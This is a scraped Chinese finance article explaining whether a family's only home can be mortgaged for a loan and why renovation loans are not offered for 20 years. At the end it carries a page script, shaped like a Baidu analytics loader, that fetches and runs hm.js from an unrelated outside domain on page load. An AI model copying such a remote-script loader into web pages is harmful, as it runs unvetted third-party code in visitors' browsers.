唯一住房抵押贷款可以吗？

日常生活中，可能在我们遇到对大额资金有需求的时候，都会选择向一些贷款机构来申请住房抵押贷款。我们都知道，办理住房抵押贷款的时候，对于我们的房产都会有一定的要求。这个时候，我们会有这样的疑惑，我们只有一套住房，那么家庭唯一一套住房可以申请抵押贷款吗?下面小编便来向大家介绍一下这方面的知识和内容，希望可以帮助大家解决相关的问题。相关分析一首先，确实是有部分贷款机构的抵押贷款产品要求借款人用房产抵押时，需有备用房，即不限于一套住房。但其实，还是有一些机构是接受唯一住房抵押贷款的。用唯一住房抵押，借款人无力还款或拒不还款时，贷款机构还是有权追偿，可向法院起诉要求处置抵押资产的。也就是，假使抵押住房是借款人家庭唯一住房，贷款机构的债权还是不受影响的，借款人还是有义务还款。若住房是闲置或用于出租的，法院处置房产时通常不会有多大阻碍。若抵押住房为借款人家庭自住的，可经过大房换小房、租房等方式解决借款人家庭的居住问题。大部分情况下，唯一住房的处置还是能经过另外的方式解决的。相关分析二因唯一住房在处置时会相对麻烦一些，也存在一些风险，所以部分贷款机构明确表示不接受唯一住房抵押。假使接受唯一住房抵押的，贷款利率通常也会偏高一些。也就是，借款人资质越好，贷款机构风险越小，贷款成本才会更低。相关分析三此外，申请贷款，如果借款人的资金需求不是很高，也可以考虑申请信用贷款，只要借款人有良好的信用记录和较强的还款能力，同时满足贷款机构的其他贷款条件，成功获得信用贷款的机率也是非常高的。其实针对唯一住房能否申请抵押贷款这个问题来说，只要我们是红本房一般都是可以申请贷款的，可能我们的贷款额度最高也可以达到我们房产评估价值的百分之七十。按照一般理论上是可以申请抵押贷款，银行会根据自身的风险来进行相应的规定。具体的情况需要进行具体分析，才能够找到对应的解决方法。如果我们进行抵押贷款的话，有很多的常识也是需要我们了解的，比如关于房产的要求、贷款人的要求、贷款对象、贷款利率、贷款期限、还款方式等等知识。

装修贷款可以贷20年吗？答案是否定的

随着房价的水涨船高，买房、装修房的花费越来越成为人们生命不可承担之重。装修贷款和住房贷款一样，都是这种情形下衍生的产物，是将未来可预见的收益流水用于今日的大笔花销，起到分担压力的作用。时间越长，压力分割得越小。那么，装修贷款可以贷20年吗？答案是否定的。装修贷款是以住房装修为唯一目的而发放的贷款，贷款方式很多。按照有无担保可分为：个人住房装修贷款，这是一种需要提供担保或保证的贷款，比如资产抵押，或是保证人的连带责任保证。个人无抵押贷款，顾名思义，这是一种无需提供担保和保证的贷款，凭个人信用就可得。按照放贷主体不同也可分为：消费金融公司装修贷款，装修贷款由消费金融公司发放。银行装修贷款，发放装修贷款的主体为银行。这几种装修贷款各有利弊。银行装修贷款利率较低，但门槛较高，且合同标准化，可协商余地小。消费金融公司装修贷款利率较高，但门槛较低，处理灵活，可协商余地大。个人有抵押装修贷款，一般就以该房产为抵押，额度大，但风险对贷款人而言相应地也高。个人信用装修贷款，凭借自身信用就可以获得贷款，风险对贷款人而言相对较小，但额度相应地也低一些。这几种装修贷款在程序上颇为相似。首先由贷款人提出书面申请，然后是对资料的审查，接着由放贷主体进行审批，决定贷款发放后，签订合同、开通账户即可。装修贷款可以贷20年吗？以上不管是属于哪一种类型的装修贷款，具体内容可能不同，但一般都为短期贷款，对于问题"装修贷款可以贷20年吗？"，答案通通是否定的。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();